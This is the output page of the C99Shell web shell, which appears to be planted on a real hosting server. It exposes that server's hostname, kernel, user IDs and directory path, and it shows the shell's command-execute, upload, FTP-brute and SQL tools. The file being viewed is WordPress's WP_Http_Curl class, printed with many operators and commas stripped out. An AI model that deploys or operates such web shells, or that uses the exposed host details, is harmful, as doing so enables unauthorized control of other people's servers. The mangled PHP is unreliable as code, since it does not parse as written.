!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/   drwxr-xr-x
Free 183.04 GB of 490.84 GB (37.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-http-curl.php (11.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * HTTP API: WP_Http_Curl class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to integrate Curl as an HTTP transport.
 *
 * HTTP request method uses Curl extension to retrieve the url.
 *
 * Requires the Curl extension to be installed.
 *
 * @since 2.7.0
 */
class WP_Http_Curl {

    
/**
     * Temporary header storage for during requests.
     *
     * @since 3.2.0
     * @access private
     * @var string
     */
    
private $headers '';

    
/**
     * Temporary body storage for during requests.
     *
     * @since 3.6.0
     * @access private
     * @var string
     */
    
private $body '';

    
/**
     * The maximum amount of data to receive from the remote server.
     *
     * @since 3.6.0
     * @access private
     * @var int
     */
    
private $max_body_length false;

    
/**
     * The file resource used for streaming to file.
     *
     * @since 3.6.0
     * @access private
     * @var resource
     */
    
private $stream_handle false;

    
/**
     * The total bytes written in the current request.
     *
     * @since 4.1.0
     * @access private
     * @var int
     */
    
private $bytes_written_total 0;

    
/**
     * Send a HTTP request to a URI using cURL extension.
     *
     * @access public
     * @since 2.7.0
     *
     * @param string $url The request URL.
     * @param string|array $args Optional. Override the defaults.
     * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
     */
    
public function request($url$args = array()) {
        
$defaults = array(
            
'method' => 'GET''timeout' => 5,
            
'redirection' => 5'httpversion' => '1.0',
            
'blocking' => true,
            
'headers' => array(), 'body' => null'cookies' => array()
        );

        
$r wp_parse_args$args$defaults );

        if ( isset( 
$r['headers']['User-Agent'] ) ) {
            
$r['user-agent'] = $r['headers']['User-Agent'];
            unset( 
$r['headers']['User-Agent'] );
        } elseif ( isset( 
$r['headers']['user-agent'] ) ) {
            
$r['user-agent'] = $r['headers']['user-agent'];
            unset( 
$r['headers']['user-agent'] );
        }

        
// Construct Cookie: header if any cookies are set.
        
WP_Http::buildCookieHeader$r );

        
$handle curl_init();

        
// cURL offers really easy proxy support.
        
$proxy = new WP_HTTP_Proxy();

        if ( 
$proxy->is_enabled() && $proxy->send_through_proxy$url ) ) {

            
curl_setopt$handleCURLOPT_PROXYTYPECURLPROXY_HTTP );
            
curl_setopt$handleCURLOPT_PROXY$proxy->host() );
            
curl_setopt$handleCURLOPT_PROXYPORT$proxy->port() );

            if ( 
$proxy->use_authentication() ) {
                
curl_setopt$handleCURLOPT_PROXYAUTHCURLAUTH_ANY );
                
curl_setopt$handleCURLOPT_PROXYUSERPWD$proxy->authentication() );
            }
        }

        
$is_local = isset($r['local']) && $r['local'];
        
$ssl_verify = isset($r['sslverify']) && $r['sslverify'];
        if ( 
$is_local ) {
            
/** This filter is documented in wp-includes/class-wp-http-streams.php */
            
$ssl_verify apply_filters'https_local_ssl_verify'$ssl_verify );
        } elseif ( ! 
$is_local ) {
            
/** This filter is documented in wp-includes/class-wp-http-streams.php */
            
$ssl_verify apply_filters'https_ssl_verify'$ssl_verify );
        }

        
/*
         * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since.
         * a value of 0 will allow an unlimited timeout.
         */
        
$timeout = (int) ceil$r['timeout'] );
        
curl_setopt$handleCURLOPT_CONNECTTIMEOUT$timeout );
        
curl_setopt$handleCURLOPT_TIMEOUT$timeout );

        
curl_setopt$handleCURLOPT_URL$url);
        
curl_setopt$handleCURLOPT_RETURNTRANSFERtrue );
        
curl_setopt$handleCURLOPT_SSL_VERIFYHOST, ( $ssl_verify === true ) ? false );
        
curl_setopt$handleCURLOPT_SSL_VERIFYPEER$ssl_verify );

        if ( 
$ssl_verify ) {
            
curl_setopt$handleCURLOPT_CAINFO$r['sslcertificates'] );
        }

        
curl_setopt$handleCURLOPT_USERAGENT$r['user-agent'] );

        
/*
         * The option doesn't work with safe mode or when open_basedir is set, and there's
         * a bug #17490 with redirected POST requests, so handle redirections outside Curl.
         */
        
curl_setopt$handleCURLOPT_FOLLOWLOCATIONfalse );
        if ( 
defined'CURLOPT_PROTOCOLS' ) ) // PHP 5.2.10 / cURL 7.19.4
            
curl_setopt$handleCURLOPT_PROTOCOLSCURLPROTO_HTTP CURLPROTO_HTTPS );

        switch ( 
$r['method'] ) {
            case 
'HEAD':
                
curl_setopt$handleCURLOPT_NOBODYtrue );
                break;
            case 
'POST':
                
curl_setopt$handleCURLOPT_POSTtrue );
                
curl_setopt$handleCURLOPT_POSTFIELDS$r['body'] );
                break;
            case 
'PUT':
                
curl_setopt$handleCURLOPT_CUSTOMREQUEST'PUT' );
                
curl_setopt$handleCURLOPT_POSTFIELDS$r['body'] );
                break;
            default:
                
curl_setopt$handleCURLOPT_CUSTOMREQUEST$r['method'] );
                if ( ! 
is_null$r['body'] ) )
                    
curl_setopt$handleCURLOPT_POSTFIELDS$r['body'] );
                break;
        }

        if ( 
true === $r['blocking'] ) {
            
curl_setopt$handleCURLOPT_HEADERFUNCTION, array( $this'stream_headers' ) );
            
curl_setopt$handleCURLOPT_WRITEFUNCTION, array( $this'stream_body' ) );
        }

        
curl_setopt$handleCURLOPT_HEADERfalse );

        if ( isset( 
$r['limit_response_size'] ) )
            
$this->max_body_length intval$r['limit_response_size'] );
        else
            
$this->max_body_length false;

        
// If streaming to a file open a file handle, and setup our curl streaming handler.
        
if ( $r['stream'] ) {
            if ( ! 
WP_DEBUG )
                
$this->stream_handle = @fopen$r['filename'], 'w+' );
            else
                
$this->stream_handle fopen$r['filename'], 'w+' );
            if ( ! 
$this->stream_handle )
                return new 
WP_Error'http_request_failed'sprintf__'Could not open handle for fopen() to %s' ), $r['filename'] ) );
        } else {
            
$this->stream_handle false;
        }

        if ( !empty( 
$r['headers'] ) ) {
            
// cURL expects full header strings in each element.
            
$headers = array();
            foreach ( 
$r['headers'] as $name => $value ) {
                
$headers[] = "{$name}$value";
            }
            
curl_setopt$handleCURLOPT_HTTPHEADER$headers );
        }

        if ( 
$r['httpversion'] == '1.0' )
            
curl_setopt$handleCURLOPT_HTTP_VERSIONCURL_HTTP_VERSION_1_0 );
        else
            
curl_setopt$handleCURLOPT_HTTP_VERSIONCURL_HTTP_VERSION_1_1 );

        
/**
         * Fires before the cURL request is executed.
         *
         * Cookies are not currently handled by the HTTP API. This action allows
         * plugins to handle cookies themselves.
         *
         * @since 2.8.0
         *
         * @param resource &$handle The cURL handle returned by curl_init().
         * @param array    $r       The HTTP request arguments.
         * @param string   $url     The request URL.
         */
        
do_action_ref_array'http_api_curl', array( &$handle$r$url ) );

        
// We don't need to return the body, so don't. Just execute request and return.
        
if ( ! $r['blocking'] ) {
            
curl_exec$handle );

            if ( 
$curl_error curl_error$handle ) ) {
                
curl_close$handle );
                return new 
WP_Error'http_request_failed'$curl_error );
            }
            if ( 
in_arraycurl_getinfo$handleCURLINFO_HTTP_CODE ), array( 301302 ) ) ) {
                
curl_close$handle );
                return new 
WP_Error'http_request_failed'__'Too many redirects.' ) );
            }

            
curl_close$handle );
            return array( 
'headers' => array(), 'body' => '''response' => array('code' => false'message' => false), 'cookies' => array() );
        }

        
curl_exec$handle );
        
$theHeaders WP_Http::processHeaders$this->headers$url );
        
$theBody $this->body;
        
$bytes_written_total $this->bytes_written_total;

        
$this->headers '';
        
$this->body '';
        
$this->bytes_written_total 0;

        
$curl_error curl_errno$handle );

        
// If an error occurred, or, no response.
        
if ( $curl_error || ( == strlen$theBody ) && empty( $theHeaders['headers'] ) ) ) {
            if ( 
CURLE_WRITE_ERROR /* 23 */ == $curl_error ) {
                if ( ! 
$this->max_body_length || $this->max_body_length != $bytes_written_total ) {
                    if ( 
$r['stream'] ) {
                        
curl_close$handle );
                        
fclose$this->stream_handle );
                        return new 
WP_Error'http_request_failed'__'Failed to write request to temporary file.' ) );
                    } else {
                        
curl_close$handle );
                        return new 
WP_Error'http_request_failed'curl_error$handle ) );
                    }
                }
            } else {
                if ( 
$curl_error curl_error$handle ) ) {
                    
curl_close$handle );
                    return new 
WP_Error'http_request_failed'$curl_error );
                }
            }
            if ( 
in_arraycurl_getinfo$handleCURLINFO_HTTP_CODE ), array( 301302 ) ) ) {
                
curl_close$handle );
                return new 
WP_Error'http_request_failed'__'Too many redirects.' ) );
            }
        }

        
curl_close$handle );

        if ( 
$r['stream'] )
            
fclose$this->stream_handle );

        
$response = array(
            
'headers' => $theHeaders['headers'],
            
'body' => null,
            
'response' => $theHeaders['response'],
            
'cookies' => $theHeaders['cookies'],
            
'filename' => $r['filename']
        );

        
// Handle redirects.
        
if ( false !== ( $redirect_response WP_HTTP::handle_redirects$url$r$response ) ) )
            return 
$redirect_response;

        if ( 
true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) )
            
$theBody WP_Http_Encoding::decompress$theBody );

        
$response['body'] = $theBody;

        return 
$response;
    }

    
/**
     * Grabs the headers of the cURL request.
     *
     * Each header is sent individually to this callback, so we append to the `$header` property
     * for temporary storage
     *
     * @since 3.2.0
     * @access private
     *
     * @param resource $handle  cURL handle.
     * @param string   $headers cURL request headers.
     * @return int Length of the request headers.
     */
    
private function stream_headers$handle$headers ) {
        
$this->headers .= $headers;
        return 
strlen$headers );
    }

    
/**
     * Grabs the body of the cURL request.
     *
     * The contents of the document are passed in chunks, so we append to the `$body`
     * property for temporary storage. Returning a length shorter than the length of
     * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`.
     *
     * @since 3.6.0
     * @access private
     *
     * @param resource $handle  cURL handle.
     * @param string   $data    cURL request body.
     * @return int Total bytes of data written.
     */
    
private function stream_body$handle$data ) {
        
$data_length strlen$data );

        if ( 
$this->max_body_length && ( $this->bytes_written_total $data_length ) > $this->max_body_length ) {
            
$data_length = ( $this->max_body_length $this->bytes_written_total );
            
$data substr$data0$data_length );
        }

        if ( 
$this->stream_handle ) {
            
$bytes_written fwrite$this->stream_handle$data );
        } else {
            
$this->body .= $data;
            
$bytes_written $data_length;
        }

        
$this->bytes_written_total += $bytes_written;

        
// Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR.
        
return $bytes_written;
    }

    
/**
     * Determines whether this class can be used for retrieving a URL.
     *
     * @static
     * @since 2.7.0
     *
     * @param array $args Optional. Array of request arguments. Default empty array.
     * @return bool False means this class can not be used, true means it can.
     */
    
public static function test$args = array() ) {
        if ( ! 
function_exists'curl_init' ) || ! function_exists'curl_exec' ) )
            return 
false;

        
$is_ssl = isset( $args['ssl'] ) && $args['ssl'];

        if ( 
$is_ssl ) {
            
$curl_version curl_version();
            
// Check whether this cURL version support SSL requests.
            
if ( ! (CURL_VERSION_SSL $curl_version['features']) )
                return 
false;
        }

        
/**
         * Filters whether cURL can be used as a transport for retrieving a URL.
         *
         * @since 2.7.0
         *
         * @param bool  $use_class Whether the class can be used. Default true.
         * @param array $args      An array of request arguments.
         */
        
return apply_filters'use_curl_transport'true$args );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0205 ]--